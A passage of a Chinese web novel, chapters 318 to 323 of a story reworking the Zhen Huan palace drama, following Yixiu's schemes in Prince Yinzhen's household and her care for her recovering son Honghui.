配合上雍亲王那副气急败坏的样子,众人脑补出八百场大戏。 “王爷,福晋。” 太医突然从后头冒出来拱着手低着头,一位负责看管柔则的嬷嬷面无表情但鼻孔不停扩张的样子吸引到了梁九功的注意力。 这位可是乾清宫的嬷嬷,不说见多了妖魔鬼怪,也算是见惯了大场面的。如今表情这样外露,可见受到了十分厉害的冲击。 “李太医,可是福......乌侍妾有何不妥?” 胤禛虽说有些生气乌拉那拉氏这两姐妹给他弄出这么大的难堪,但柔则毕竟是他热乎着的真爱,心里头还是担忧占据了上风。那语气急切的,比听到弘晖鬼门关上走一遭都要紧张。 李太医组织了一下语言,‘委婉’的说道:“乌侍妾应当是用了秘药强制怀孕,体内残存的药性有麝香仁,红花,桃仁和冬瓜皮等物,不利于安胎。” 梁九功和嬷嬷们的雷达启动,别的不知道,但是麝香仁和红花大家都很熟悉。 毕竟混迹后宫多年,要说保胎的药材可能说不出个一二,但要说堕胎的,他们可是如数家珍。 胤禛皱了皱眉,还没仔细询问就被一声宛转悠扬的‘四郎’打断了思绪。 “菀菀,是不是有哪里不舒服?” 李太医轻咳了一声,赶在乌侍妾开口前赶紧说道:“臣猜测应当是息肌丸的配方。如今乌侍妾的身子不过是强行受孕,即便是太医院的太医拼尽全力,也保这个孩子到不了足月。甚至因为药性杂乱,身子孱弱也是有的。” 其实息肌丸这个东西李太医也不是第一次接触,只不过没有哪个人能把这个闹的这么大的。而且他话也没说完,身子孱弱都是小事,就怕药性厉害了生个怪胎。 宜修用帕子捂住了嘴,眼底的震惊被梁九功看的真切。 其实嘴角已经忍不住上扬,她总觉得梁九功再不走,她自己给自己都能演出精神分裂来。 雍亲王府的闹剧到底在日落时分降下了帷幕,剪秋和绘春等人包了不少荷包送给今儿来的所有人。 “王爷情急,这些银子请大家喝茶,咱们府里的事劳烦皇阿玛许久,万不能再因着口角叫皇阿玛担忧了。” 梁九功,几位御前嬷嬷和来干活的侍卫都对宜修的处世态度感到十分的舒服。 他们不理解的看了看雍亲王,对他的喜好表示了质疑。 随着梁九功等人的离开,宜修扶着剪秋的手站在不远处看着胤禛和柔则激烈的争论着什么,嘴角拉出一抹期待的笑意。 “弘晖怎么样了?” 今儿这一天也是跌宕起伏了,宜修自然不可能把所有指望都放在八阿哥胤禩的身上,今日从八贝勒府回雍亲王府这一小段距离,对着不远处来看热闹的胤禟露出了一小截袖子里的剪刀。 “破釜沉舟。” 就凭昔日剪辫子的‘旧情’,宜修就有九分把握胤禟会掺和一脚。那太医院的太医就是胤禟叫来的,美其名曰给四嫂看脖子上的伤口。 其实不过是为了看雍亲王的好戏,自个儿的福晋为了儿子只能通过这样惨烈的方式才能得到救治,单是这太医入府,就叫胤禛难堪不已。 再加上宜修的几句挑拨,胤禛便下意识的叫太医去看了柔则,故意忽略了更需要换药的宜修。 也算是对胤禟还算了解,今日之事到底是按照宜修的想法走了下去。 “弘晖阿哥已经退烧了,陈太医调整了药方,亲自看着呢。” 陈梦雷得了康熙的旨意,在弘晖完全好之前,就住在了雍亲王府。 今日梁九功带人直接把正院清理了干净,顺便把宜修的院子照样子挪了过去。 梁九功的意思就是皇上的意思,胤禛只能捏着鼻子认。 宜修回到正院,看着梁九功留下的祛疤的药膏和各种珍惜的药材挥了挥手:“放起来吧,药膏留着。” 刚准备去看弘晖,胤禛从外头走了进来。 第319 章 宜修4 “宜修,你可知错?” 胤禛这个狗东西一开口就想叫人忍不住想刀了他。 宜修冷着脸坐着,看向胤禛的眼神带了明晃晃的嘲讽和嫌弃。 “错?我错就错在,你和柔则在倚梅园相见时那副样子没有宣扬的满宫都是,好叫你们两个艳名远播!” 既然已经撕破了脸,宜修就没有委屈自己的爱好,什么强忍着去讨好这个男人,她才不要喂自己吃屎。 胤禛拍桌而起,一只手颤颤巍巍的指着宜修:“你,大胆!” 宜修一把拍开了胤禛的手指:“虎毒尚且不食子,你为了一个不知男女的胎儿纵容那个贱人害死我的弘晖,大胆?要我看你才是大胆,赌那个吃了息肌丸的女人生下的孩子,我乌拉那拉宜修衷心祝你,得偿所愿。” 这话实在捅了胤禛的心窝子,他冷眼看着宜修,脖子上的伤口因为激动又渗出了鲜血。 “本王倒是小看了你。” 胤禛再没有刚才那副气急败坏的样子,宜修倒是觉得这才正常。 胤禛虽然在柔则身上降智了点,但其心智和算计并不比其他阿哥少。如果一直跟炮仗一样被骂两句就红温,那才是奇怪。 宜修没有起身,只是伸了伸手示意他离开。 胤禛也不生气,宜修到底是他的福晋,即便心里头有气,为着弘晖这个儿子,这一身的谋划和算计也只能为他所用。 “下个月初十是好日子,即便是继福晋,该有的本王也不会少了你。” 因为宜修得了康熙的眼,胤禛自然不会敷衍了事。 宜修低着头摆弄了一下手里的帕子戳穿了他的虚情假意:“皇上开口,你自然不敢少了我的。” 胤禛哑然,这是一点面子情都不做了,难不成宜修以为被扶正就万事大吉了吗? “感情用事,难成大业。” 这是胤禛对宜修的评价,宜修不置可否。 地府的玄幻药品,即使是避孕的她也不舍得给胤禛用。 不急,等她把雍亲王府都梳理好了,一定给胤禛和柔则这两个贱人一个惊喜。 “剪秋,送信回乌拉那拉府,虽然嫡姐的嫁妆给了本福晋,但未免太过寒酸,还请阿玛给本福晋备齐了本福晋应得的那份。” 姨娘已逝,罪魁祸首觉罗氏已经被皇上一杯毒酒送了走,活着的费扬古,总要榨干他的价值才行。 剪秋应了是,从昨晚到现在,她家格格就没有好好歇着。 “福晋,先休息一会儿吧。” 宜修又看了看弘晖,正好赶上弘晖醒着。 “额娘。” 三岁的小孩儿已经知事,昨夜濒死,是额娘带着他豁出性命才拼出一线生机。 至于那个阿玛,弘晖早就忘了。 宜修的眼泪不自觉的涌出来,怕弘晖担忧,她赶紧擦干净凑到弘晖身边。 “额娘在呢,晖儿有没有不舒服?” 弘晖摇了摇头,他看着额娘脖子上包着的细棉布小心翼翼的抬手碰了碰。 “额娘疼不疼?” 宜修拉着弘晖的小手摸了摸,不热了,温温的。 “无事,只是皮外伤,上了药就不疼了。” 宜修并没有说一点也不痛这种哄孩子的谎话,弘晖早慧,这种话只能叫他更加有心理负担。 弘晖虽然排了毒也降了热,但到底伤了元气,此刻有气无力的躺在那里瞧着可怜极了。 “想跟额娘一起睡。” 弘晖很少有这般粘人的时候,他只是太害怕了。 宜修自然没有不答应的,她抱着弘晖到了自己的寝室,把弘晖放到里头。 “饿不饿?要不要用点清粥?” 原主谨遵不科学喂养,三岁的弘晖还在吃着奶娘的奶,能吃的饭不过清粥和鸡蛋。 “想吃甜粥。” 从前原主很少给弘晖甜粥,那一套老掉牙的理论叫宜修回忆起来都想翻白眼。 “好,正好小厨房温了甜粥和蔬菜粥,弘晖可以都用一些。” 那碗小的两口就没,宜修倒也不怕弘晖吃多了不消化。 弘晖开心的动了动腿,靠在床上被宜修喂着吃了点东西。 又听着宜修念了会儿书,才喝了药。 剪秋取来一柄象牙柄马尾毛的小牙帚,沾了牙粉给弘晖清洁了牙齿,又擦了脸才叫孩子睡下。 宜修披着衣裳在圆桌旁坐下,昏暗的烛火衬得眉眼带了瘆人的锋利。 “从明儿起,你把咱们能用的人摘出来,挑选两个机灵的混迹市井中去。然后把银子撒出去多培养些眼线,尤其是妞妞房那几处,暂时不要有什么动作,把人拉拢了才是正经。” 剪秋一一记下,既不问缘由也不问打算。 “那妞妞房的太监,能被选到那里当值的,眼里头怕是银子当家,柔则倒是留给我不少,万不能吝啬。” 不光是柔则的家产,宜修还写信给了费扬古,如今的四福晋是谁,费扬古看的明白。 觉罗氏的死已经给了费扬古当头一棒,他们自以为的皇亲国戚不过是皇上一句话的事。 柔则‘已逝’,乌拉那拉氏应当扶持谁,费扬古和族亲都心里有数。 “奴婢记着,王氏就有一位大姑娘在东华门的妞妞房做教养嬷嬷。” 忍冬突然开口,宜修仔细一想,还真有这么个人。 宜修的姨娘姓韩,娘家里有位大十四五岁的姐姐嫁去了包衣王家。 王家虽说不显赫,但明显对于当下宜修的需求却是十分的对路。 “谨慎点打听,这么多年姨娘也没怎么跟家里头联系,不要冒冒然的上去攀亲戚。” 宜修的姨娘是个纯种的恋爱脑,韩家虽然是汉军旗,也没出过什么有出息的儿郎,但家底并不算薄,毕竟有些经商的天分在。 但年幼的韩氏在自家铺子里看上了年仅十岁的费扬古,还被忽悠着进了乌拉那拉氏做了妾室。 本来韩家选了一户门当户对的秀才,进门便是正头娘子,家里只有一个姐姐,婆母也好相处。 即便如此,韩氏也是给足了银钱傍身,若不是实在貌美,得了费扬古一分分庇护,怕是都护不住宜修这个女儿。 “是,奴婢都记下了。” 妞妞房的女子有进宫的秀女有要入宫的包衣宫女,先不说其中的弯绕,便是那些皇子阿哥们的喜好,这些嬷嬷太监就拿捏的刚刚好。 宜修躺在床上,叫剪秋吹熄了蜡烛。 小孩子的眼睛还在成长中,晚上睡觉最好不要有光亮。 虽然婚礼还未办,但圣旨已下,隔天,胤禛的几房妾室便都来到了正院请安。 “妾身给福晋请安。” 都是熟悉的面孔,宜修笑着叫大家起了身。 “弘晖阿哥可好些了?妾身这里有一株五十年的老参,给弘晖阿哥补补身子。” 苗侧福晋是最开心的,她看不上柔则那勾栏瓦舍的做派,为着争宠可没少被柔则反将一军,眼睁睁的看着昔日的老对手沦为侍妾,苗侧福晋昨夜在被子里闷头笑了好久。 “多谢妹妹了。” 宜修知道,敌人的敌人,就是朋友。 “诶,咱们是不是少了一个人?” 苗侧福晋手半捂着嘴,眼睛睁的大大的,表情十分夸张。 宜修只笑着看她表演,没有打断的意思。 甘格格明白,这位福晋是站在她们这一头的。 “是了,是乌侍妾没来,这可如何是好?是不是胎气不稳啊,福晋您可得派人去看看。” 齐格格看了眼四周的人,突然有种四面楚歌之感。 她低着头,没有为柔则辩解也没有搭茬,丝毫看不出曾经和柔则姐妹相称在月下弹琴赋诗的样子。 “甘格格说的是,剪秋,你便去看看吧。若是无事,便问问乌侍妾,可是对皇上的旨意,有所不满啊?” 苗侧福晋和甘格格瞬间闭嘴,果然,有没有她们的挑拨都无所谓,福晋不会放过她的。 第320 章 宜修5 妞妞房是清朝为选秀女制度而设立的秀女临时居所及礼仪培训场所。 八旗少女入京选秀,初选合格者需要进行下一步的培训和考核,以确定是否能入宫成为宫女或者嫔妃。 而妞妞房又不止一处,分别为东西南北四处。 其中主要由太监和年长的宫女负责教习。包括宫中的规矩,礼节,女红,读书,练字等。 宜修娘家的姻亲王氏,便是主要负责女红这一部分。 虽然妞妞房并不在宫中,但其中的赏赐和牟利却并不比宫中伺候的宫人少,甚至还因为其责任的特殊性和重要性,身家性命也比宫中安全的多。 所以要想拉拢王氏,钱财利益都不奏效。宜修又叫剪秋去查探了王氏家里和家中的关系,寻摸出一条模糊的消息。 “确定送去了太子那里?” 这段时日剪秋也是手脑并用,人也越发沉稳。 “从胡氏口中隐约是这么个意思,只是王氏做的隐蔽,咱们并没有证据。” 胡氏是王氏家的媳妇,因为有个爱吃花酒的小弟,少不得做些贴补娘家的小偷小摸之事,也是最容易套话不过的。 宜修笑了笑:“咱们不需要证据,皇上对太子可宝贝的像眼珠子似的,有没有证据都不要紧。” 剪秋应了一声退了出去,而王氏那边收到消息也是惊出一身的冷汗。 不过联络人倒也没有别的意思,只是拿了一幅画像来,说是跟皇上太子都没有关系,只找神似这女子的格格小姐就好。 王氏自然应了下来,约定了传递消息的地点和暗号,外头的人便离开了。 王氏在妞妞房二十余载自然不知,画像上的女子,就是当年报了免选后又被雍亲王一见钟情求娶的,雍亲王先福晋。 宜修挑了挑烛芯,这个乱糟糟的小世界不会让她失望的,不是说,漂亮的女人,总有相似之处吗?她拭目以待。 弘晖的身子已经大好,陈太医留下了两张调养身子的药方就回了宫里复命。 “弘晖的身子如何?” 康熙对所有儿子都有掌控欲,只是没有对太子那么明显。胤禛府里自然有他的人,从前他不太在意,这段时间倒是问的多了些。 “回皇上的话,弘晖阿哥沉疴已消,毒素尽除,只需好好将养着身子就好。” 康熙点了点头,想着上次回来的李太医说的事,不由得叹了口气。 都说龙生龙凤生凤,他这么多儿子,唯有老四是个糊涂蛋,被一个女人勾着鼻子走,简直丢尽了他的脸。 如此想着,不知道怎么觉出了自己是在骂自己。 梁九功突然一句:“皇上,舒妃娘娘来了。” 叫他突然笑不出来,乌拉那拉柔则好赖是他们满军旗自己人的格格,舒妃又算什么东西?摆夷族的女子,封妃? 老房子着火烧的很快,老房子也灭的很快。 康熙冷眼看着梁九功,怒斥道:“乾清宫是什么地方,岂容异族后妃来去自如?!” 梁九功请了罪小跑着退了出去,在心里头抱怨自个儿主子比后宫娘娘们还要善变。 明明把舒妃捧到这个位分的是皇上自己,如今想起来舒妃是异族了要防备着,罪名就都叫他们这些奴才们担着了。 也不知道皇上是一时兴起还是彻底想通,梁九功好声好气的把舒妃送走,生怕皇上再次‘陷入爱河’责罚他。 舒妃骤然失宠不过半月,期间宜修大婚也听到了这离奇的消息。 不过她并不觉得多么吃惊,有时候一个小蝴蝶也足以改变大环境,只能说平行世界永远在改变。 雍亲王大婚,所有流程都是按照皇子娶妻的标准而来,比当初的柔则不少一点。 只是最后的洞房花烛时,宜修自顾自的卸了妆换了衣裳,悠闲的靠在美人榻上由着婢女按着头。 “宜修,你未免太过没规矩了些。” 胤禛一进门就看到身着寝衣的福晋悠闲的仿佛今儿是个普通的不能再普通的日子。 “白日的礼节是给我身为雍亲王福晋的尊贵和体面,至于晚上。” 宜修站起身看着胤禛的眼睛嫌弃的啧啧两声:“我和王爷不一样,我和要害死我儿子的凶手,没办法同床共枕。” 胤禛自觉被下了脸面,阴沉着模样去了清漪阁。 宜修不在乎这个,她倒是希望胤禛越放肆越好。 康熙的人肯定盯着雍亲王府,眼睁睁的看着被绑回‘正道’的儿子挣脱了‘父命’回到那个布满荆棘的小路,‘慈爱’的老父亲一定有些想法吧? 清漪阁。 “四郎~!你怎么来了?” 柔则的衣裳都是临时赶制的,又是侍妾,自然没有什么好料子。 那一看就粗糙的走针和宽大的腰身叫柔则嫌弃不已,再加上侍妾的份例简陋,柔则听着外头喜庆热闹的动静已经玉玉一天了。 “菀菀的脸色怎么这么苍白?可是有哪里不舒服?” 胤禛那身红艳艳的新郎装刺的柔则眼睛疼。 “菀菀只是,只是没睡好,四郎今日不该来的。” 说着,柔则起身不怎么用力的把胤禛往外推。 胤禛看着那垂落的泪珠心疼的把人抱在怀里。 “菀菀说的是什么话?爷就在这里,哪也不去。” 两个人搂抱着互送衷肠,叫外头的暗卫一脸生无可恋。 他不过是猜拳输了才不得不接了雍亲王府这个活儿,没想到皇上还有这样的情种儿子,为了一个被皇上不喜的妾室,扔下新婚夜的福晋。 不是前两日还因为息肌丸互相指责呢吗?这么快就和好了? 暗卫打了个手势,换了另一个人来接班,自个儿把今日的消息报了上去。 第二日要去给皇上请安,胤禛故意没去正院,在门口等着宜修。 宜修才不觉得难受,她给弘晖收拾好,又换了身喜庆的衣裳一起往外走。 “今日午膳额娘叫小厨房给你准备了清蒸鱼,若是到宫里皇玛法给晖儿吃点心,咱们就少吃些,太医说晖儿脾胃弱,一定要少食多餐,才能养好身子。” 今日的流程应当还要去给太后请安,太后喜欢小孩,就怕弘晖没吃过什么好的一时间给自己吃积了食更难受。 “我知道了额娘,晖儿不贪嘴。” 弘晖一本正经的样子特别可爱,三岁的小孩不点大,紧紧拉着宜修的手故作小大人。 两人慢悠悠的晃到外头,脸上挂着同款假笑给胤禛问安。 被母子俩的态度刺激的一早和菀菀抒发过后的好心情荡然无存。 挂着雍亲王府标志的马车往紫禁城驶去,弘晖手里攥着一个小小的响铃球玩儿的开心。 这是宜修去送谢礼时胤禩给的玩具,弘晖特别喜欢。 “有事就来找我,什么都比不过孩子。” 八福晋拉着宜修的手认真的嘱托,她实在担心宜修和弘晖的安全。即便是福晋又如何,若是四哥真要做些什么,唉...... 虽然胤禩嘴上说四哥不至于如此,但心里头是认同自家福晋的话的。对自己的亲生儿子便能如此冷漠,对待一个继妻,能有什么情分呢? “多谢八弟妹关心,我这里都还好。” 宜修的脖子即使日日涂抹着上好的伤药,如今仍旧有一个圆圆的痕迹。八福晋看了一眼,心里头酸酸涩涩的难受。 弘晖晃了晃响铃球,把宜修的神思从回忆中拔出来。 “额娘,儿子回去想玩儿小马。” 宜修点了点弘晖的额头:“就在你屋子里呢,回去叫绘春给你拿出来。” 这几日胤禟也来的多了些,送了不少小孩子的玩具给弘晖。惹得胤禛总是拉拉着脸,看的人胃口大开。 第321 章 宜修6 康熙自然得知了胤禛新婚夜宿在妾室房中的事,只是宜修看管的严格,府里头并没有什么闲言碎语传出来。 他看着底下的两大一小笑了笑,这是他第一次见弘晖。 往年的年节和家宴,胤禛总以弘晖体弱为由不曾带这个儿子进宫,身边倒是次次陪伴着那个真的‘体弱’的福晋。 “弘晖来皇玛法这里。” 要说宜修这个儿子读书厉不厉害暂时看不出来,但长相是真的精致。 宜修本就貌美,儿子像娘,弘晖和宜修有八分相似。 再加上原主养的精细,就连晒太阳的时间都是掐着点的。白嫩的大眼萌娃,没有人可以拒绝。 “皇玛法!” 弘晖倒是不认生,其实小朋友大部分的底气是源自母亲,只要给小朋友充足的关心爱护,小朋友面对陌生人时就很大方。 原主别的不说,对弘晖的关爱是毋庸置疑的。 康熙抱着大头娃娃心里头有些疼惜,随手从桌子上拿起一块茯苓糕递给他。 “弘晖乖,要不要尝尝皇玛法这里的点心?” 弘晖接过去乖巧的道了声谢:“皇玛法,我只能吃这一块哦。” “哦?这是为何啊?” “因为太医说,弘晖吃多了会不消化。” 康熙看着一本正经的孩子心中的怜惜更深,他下意识的把弘晖的一切不妥当都安在了柔则和觉罗氏身上。 而其实,弘晖的脾胃和大头主要是原主那‘不科学’的喂养,营养不足,脾胃没有适应过食物,所以现在就格外小心些。 “等会儿你们回府,皇玛法叫你阿玛带一个善调养的医士给你,就住在雍亲王府,给你调理身子。” 想他康熙八岁登基,虽然这么多年夭折过不少孩子,但长成的孩子里,哪有受过这份委屈的。 弘晖脆生生的应了一声,显然孩子还不知道何为客气。 正说的热闹,太子经过通传走了进来。 “弘晖,孤是二伯。” 弘晖从康熙身上滑下来,走到伸着手的胤礽身边:“二伯安。” 胤礽看了看可爱的弘晖,扫了一眼宜修和胤禛夫妻俩笑了起来。 这一家三口有意思,胤禛像个局外人。 而胤禛又不是傻子,他的皇阿玛他的二哥,和他的福晋儿子聊的开心,没一个人搭理他一句,若不是他是儿子不是老子,这时候早掀桌子了。 在乾清宫待了约莫一柱香多的时间,胤礽还十分热情的送了一个玉雕的小老虎给弘晖把玩。 康熙挑了挑眉没有吭声,胤禛认出了那是太子的爱物,想要拒绝。 宜修见状拍了拍弘晖的肩膀:“二伯家里有哥哥和姐姐,下次弘晖给哥哥和姐姐带礼物好不好?” 弘晖笑着捏着那个小老虎点了点头:“二伯我额娘给我了好几个小球,下次带给哥哥和姐姐。” 胤礽带着揶揄的笑容瞥了眼胤禛:“额娘送给弘晖的二伯就不要了,有没有你阿玛送的啊?” 弘晖仔细想了想:“有一个玉牌,额娘说是弘晖满月的时候阿玛给的,但是只有一个,没有办法分给哥哥和姐姐。” 康熙瞪了胤礽一眼,示意他差不多就得了。 胤礽‘啧’了一声,笑着叫弘晖离开。 三人又去了宁寿宫,太后也知道了弘晖的事,拿了不少补品给宜修和弘晖。 满人家的女儿从小都是要学习满蒙汉三语的,虽然觉罗氏不做人,但宜修也不是什么都不会。 磕磕绊绊的和太后说了会子话,弘晖抱着赏赐龇着牙往永和宫走。 永和宫的德妃已经变成了德嫔,给乌拉那拉氏牵线,送妃制的衣裳给臣女,虽然已经是过去,但没有牵扯出来自然风平浪静。可如今那个已逝的先福晋涉及到了毒杀皇上的孙子,那就另当别论了。 德嫔这些日子都不敢出门,宜妃天天在永和宫门口遛弯,说着弘晖和宜修有多惨的话,通过厚厚的宫门和小小的院落传到乌雅氏的耳朵里,叫她心烦意乱。 翊坤宫和永和宫离那么远,也不知道宜妃每天来两回到底累不累! 宜妃不累,胤禟也不累。 胤禟基本隔两三日就要去雍亲王府转一圈,对外只说去看看可怜的侄子弘晖。 宜修知道胤禟唯恐天下不乱的性格,一边暗戳戳的上眼药,一边‘不得已’的维护着雍亲王府的脸面。 这才叫宜妃每天都有素材拿到永和宫去说,不仅如此,她还拉上了住在延禧宫的惠妃一起。两个人都是大嗓门,不怕德嫔听不到。 即使有再多的气,德嫔也只能压在心底,换上温婉的笑脸迎接着她最讨厌的一家三口。 “这就是弘晖吧,长的像你额娘,来玛嬷这里来。” 宜修的孩子还未出生,胤禛便得以封亲王,觉罗氏自然不愿意叫自家女儿屈居宜修之下,便张罗着和宫里的连宗乌雅氏一起把柔则送进了雍亲王府。 至于宜修这个孩子,自然就没了用处。 德妃也懒得见,每年由着柔则和胤禛报上一句‘病弱’,便把两个人扔在了府里头不闻不问。 至于赏赐,都是些中看不中用的物件,卖卖不出去,用也用不上,面子上过的去,内里全是无用的摆设。 弘晖年纪小,但生在皇家的孩子都明事早,讨好皇玛法和二伯是顺势而为。 至于这位玛嬷,额娘不喜欢,他也不喜欢。 “玛嬷安。” 弘晖慢吞吞的挪到德嫔身边,完全没了在乾清宫的开朗。 德嫔拿了个实心的金牛给弘晖,虽然不算多么走心的礼物,但却实打实的值钱。 可惜弘晖身子‘弱’,没接住摔到了地上不说,自己也一个踉跄没站稳。 “弘晖!” 宜修看的出来自家小崽子是装模作样的,但还是担忧的上前把儿子抱在怀里。 “额娘恕罪,弘晖身子刚好不能多食,所以手上没有力气,不是故意的。” 宜修委屈巴巴的样子叫胤禛有些不适应,但他转念一想就知道为何,心里头对弘晖再次表示不喜。小小年纪,心思深沉。 德嫔扯了扯嘴角笑了笑:“是玛嬷忘了,弘晖也是大孩子了,还是要把身子养起来,才能做咱们大清的巴图鲁呢。” 弘晖和宜修同款撇了撇嘴没有接话,天天说的比唱的好听,结果养孩子这个事谁也不上心。 皇上和太后的赏赐都很厚,就连太子也给了弘晖不少赏赐,德嫔只能随着皇上加了五分赏赐,心疼的不想再看见这一家三口。 回到府里,宜修拉着弘晖慢悠悠的回到正院,看着孩子低着头不说话的样子,宜修有些担忧。 “晖儿怎么了?可是身体不舒服?” 弘晖摇了摇头:“额娘喜欢弘晖这样吗?” 没头没脑的一句话,宜修却听懂了。 她蹲下身把弘晖抱在怀里走回到寝室内,轻轻柔柔的说道:“晖儿还小,自有要摸索的成长和为人处世的道路,若是做错了不怕,额娘会及时拉住你,不必怕,额娘永远在晖儿身边。” 弘晖这个孩子本性是活泼的,但原身有些偏执,弘晖年纪小小的也跟着心思重了起来。 不急,小孩子成长的道路是在试错,做母亲的何尝不是? 第322 章 宜修7 首先是清点王府的所有下人。 清朝皇子王府里伺候的下人有四个明确的渠道,一是内务府分配,这是王府的下人最主要的来源之一。 内务府作为管理宫廷事务的机构,会按照制度给各王府分配一定数量的包衣,包括包衣佐领,管领下的旗人及家属。除此之外,还有培训好的太监,承担内宅侍奉传达指令等职责。 这其二,便是旗人投充或者随侍。有部分地位较低的旗人会主动投到王府门下,成为王府的属人。 其三,便是购买或收留。 大部分王府都会购买一些汉人为奴仆,一旦被买入,那便是世代为奴。并且,有少数愿意给自己立人设的王府,也会收留一些无家可归的乞丐。 其四,便是罪臣家属。 一些因获罪被抄家的官员家属,有大部分可能会被没入王府为奴。 宜修跳过康熙的探子和内务府分配的包衣,先是把府里自主投靠的旗人或包衣梳理了一遍,用银子和一些她如今可以随手施恩的小恩小惠,把人捏在手里。 然后用剪秋在市井中训练的乞儿等人手,把甄远道私纳摆夷族罪女一事直接捅到了都察院右副都御史廖腾煃手里。 康熙掀起了一股‘纳摆夷族女’的风潮刚刚结束,宫中的舒妃‘因病病逝’的消息还没完全冷却,各个官员都在处理府里的摆夷族女子。 这时候甄远道一事被揭发,简直就是所有人的‘救星’。大家义正言辞的指责甄远道的小人行径,好像他们骂甄远道了,就可以掩藏自己府里的二三破事。 康熙正为自己老房子着邪火感到憋闷,甄远道一个小小的大理寺评事就这么撞到了他的手里。 尤其是那位摆夷族的何绵绵是罪臣之后,康熙一道圣旨,甄远道直接重新投胎。 而甄远道的家属摇身一变成为了罪臣之后。 宜修用了些手段,把甄云氏和甄玉嬛带回了雍亲王府。甄玉嬛如今不过是六岁的小姑娘,其妹妹甄玉娆,如今还在甄云氏的肚子里。 至于浣碧,作为外室女也作为罪臣的后代,和甄远道一道去下头找何绵绵团聚去了。 每年各个王府都会买些罪奴在王府干粗活,所以宜修的举措没有一个人关注。 甚至康熙和胤礽等人还觉得宜修为了弘晖祈福,这才买了不堪大用有孕在身的甄云氏和一脸傲气的甄玉嬛。 至于府里的包衣,则是以慢慢收拢为主。 其次,宜修广发邀请贴,请了众位妯娌来小聚,席间不经意的把看守不算严密的柔则放了出来,给雍亲王胤禛再添一些笑料。 尤其是八福晋,也算是弘晖的救命恩人,宜修时不时的带着礼物或点心去旁边的八贝勒府小坐,给胤禛那本就不大的心眼用热蜡油封的死死的。 最后,宜修大病初愈和胤禛新婚还不到一月,第二次去永和宫请安就领了三个格格回府。 这归功于宜修的阴阳怪气,叫德嫔只能想出这套老掉牙的路子来膈应她。 可恰恰相反,德嫔只隔应到了康熙。 就连他这个经常给儿子赐小妾的老公公都知道,人家再怎么不和也是新婚燕尔,就这么明晃晃的赐妾室入府。打的不是宜修的脸,而是皇上的脸。 德嫔此举,不是表明对皇上扶正宜修的旨意不满意吗? 被气昏了头的德嫔只想着恶心宜修,却没想到惹了皇上的眼,把封号给扒了。 在后宫,褫夺封号比降位还可怕,尤其是乌雅氏的封号为德。皇上这样扒了她的封号,不就是告诉众人,乌雅氏失德。 领着李静言等人回府的宜修顶着众人怜悯的目光心里头美滋滋。 宜修还留着胤禛那些功能还有一个原因,那就是李静言等人。 虽然胤禛不配再有孩子,但李静言配。十几岁的姑娘一入府,往后便都是这被束缚的日子,有个孩子,在这个时代,总归是个盼头。 只能说先到先得吧,等柔则生产了,再想要孩子也是机会渺茫了。 忙活着身边事,宜修还循序渐进的给弘晖进补着身子。 从烂糊的蔬菜到肉类,弘晖的食欲越来越好。 府里头的事务大部分都交给了剪秋和绘春两人,宜修一天中最大的比例都给了弘晖。 两个人一起用膳,一起读书,一起放风筝踢蹴鞠,劳逸结合食补药补四管齐下,总算是叫弘晖有了正常孩子的样子。 隔壁的弘旺只有两岁,但是非常喜欢弘晖这个哥哥。八福晋看出胤禛对四嫂的不喜便越发的喜欢带着弘旺来做客。 “你这东西做的有趣,改明儿也叫我家爷弄一个来。” 宜修和八福晋坐在屋子里喝着茶,外头明亮的阳光照着两个追追打打的孩子,周围一圈的奴仆看的细心,再没有比这更轻松的日子了。 “也是弘晖这次伤了底子,太医说要温补不说还得温和的动着,我这也是没法子了,才弄出了些玩意儿。” 八福晋拍了拍宜修的手安慰着:“都过去了,大难不死必有后福,咱们弘晖的好日子,在后头呢。” 宜修笑着点了点头,门口传来一阵温柔的笑声,一个哒哒哒跑着的小胖子冲了进来,一下子就扑到了弘晖和弘旺身边。 “四伯母八伯母弘晸给伯母们请安啦!” 原来是九福晋带着弘晸过来了,胤禟最爱给胤禛添堵,得知弘旺经常去雍亲王府后,便叫自家福晋也带着弘晸去玩儿。 你还别说,不用胤禟亲自出马,就能日日在朝堂上看到胤禛的臭脸,还没有办法拒绝,这简直比胤禟收银子时还要痛快。 “又跑了一头汗,先来擦一擦,着了风可不好。” 宜修举着手帕给眯着眼睛的弘晸擦了擦汗,便叫他出去和弘晖弘旺一起疯去了。 九福晋一点不客气的找了位子坐下,喝了一大口水。 “四嫂,八嫂,你们可不知道,这皮猴子一路小跑过来,累的我这腿都折了。” 八福晋笑着隔空点了点九福晋:“就你这还要跟我比骑射?别连弘晸都不如。” 九福晋虽然对胤禟赚钱给八哥花这事十分厌恶,但自看了四嫂的惨状,她觉得自家爷们也挺好的。 虽然没脑子容易被利用,虽然分不清内外主次,虽然对她很一般。 但是她家爷也不会眼睁睁看着孩子去死。就这一点,就叫九福晋对比出了幸福,日常也愿意跟着自家爷一起,去八福晋那儿走动或者来雍亲王府转一圈。 本来都是为了爷们,但是跟宜修相处过后,九福晋觉得四哥有些不知好歹了。 四嫂这脸,这性子还被辜负,果然越丑的男人越能折腾。 九福晋瞧着胤禟和胤禩那两张脸,得出了这么个非常合理的结论。 (再强调一下,甄嬛传的时间线硬安到清朝真的是十分十分混乱,我怎么写宝子们怎么看就是了。还有弘什么的名字,以后就不要纠结是谁的孩子了,我真的找的头秃。) 第323 章 宜修8 就算是胤禟,也是把福晋和儿子送来给他添堵,只有胤?这个弟弟,最是混不吝,他亲自带着儿子来看受伤的四嫂,实在叫胤禛没有办法平静。 可胤?年纪虽比他小,但人家底气厚,背靠着钮钴禄氏和博尔济吉特氏,外家的姻亲一大堆,哪个姓氏都是亲戚。 更何况这情形在他的皇阿玛眼里就是兄友弟恭,胤禛相信,他前脚把胤?撵出去,后脚他皇阿玛就能把他从乾清宫撵出去。 本该是软柿子的福晋和弘晖,也因为那生死一扬的危机被老爷子放在眼里。胤禛现在是进退维谷,动不了弱的拿捏不动强的,真真儿是没出息的很。 好心的弟弟们越过黑脸四哥,亲自为弘晖挑了启蒙的夫子和武夫子。 康熙和胤礽看在眼里没有阻止也没有表扬,他们爱新觉罗氏的孩子可以争,但若是如胤禛这般叫孩子连上桌的机会都没有的,那就排除在他们这些兄弟之外了。 “福晋,妾身有孕了。” 宜修猛然听到这个消息才恍然,这个被柔则罚跪没来得及叫他额娘知道的孩子,已经在苗侧福晋肚子里了。 “哦?几个月了?府医可看过了?” 苗侧福晋抬着下巴挑衅似的看着柔则笑了笑,小脸一扭看着宜修道:“就是昨儿府医请平安脉的时候发现的,已经两个多月了。” 即使这段时日胤禛经常在清漪阁歇着,也不能安抚柔则受了委屈的小心灵,她脸色有些苍白,瘦巴巴的手捂着肚子,谁也不看。 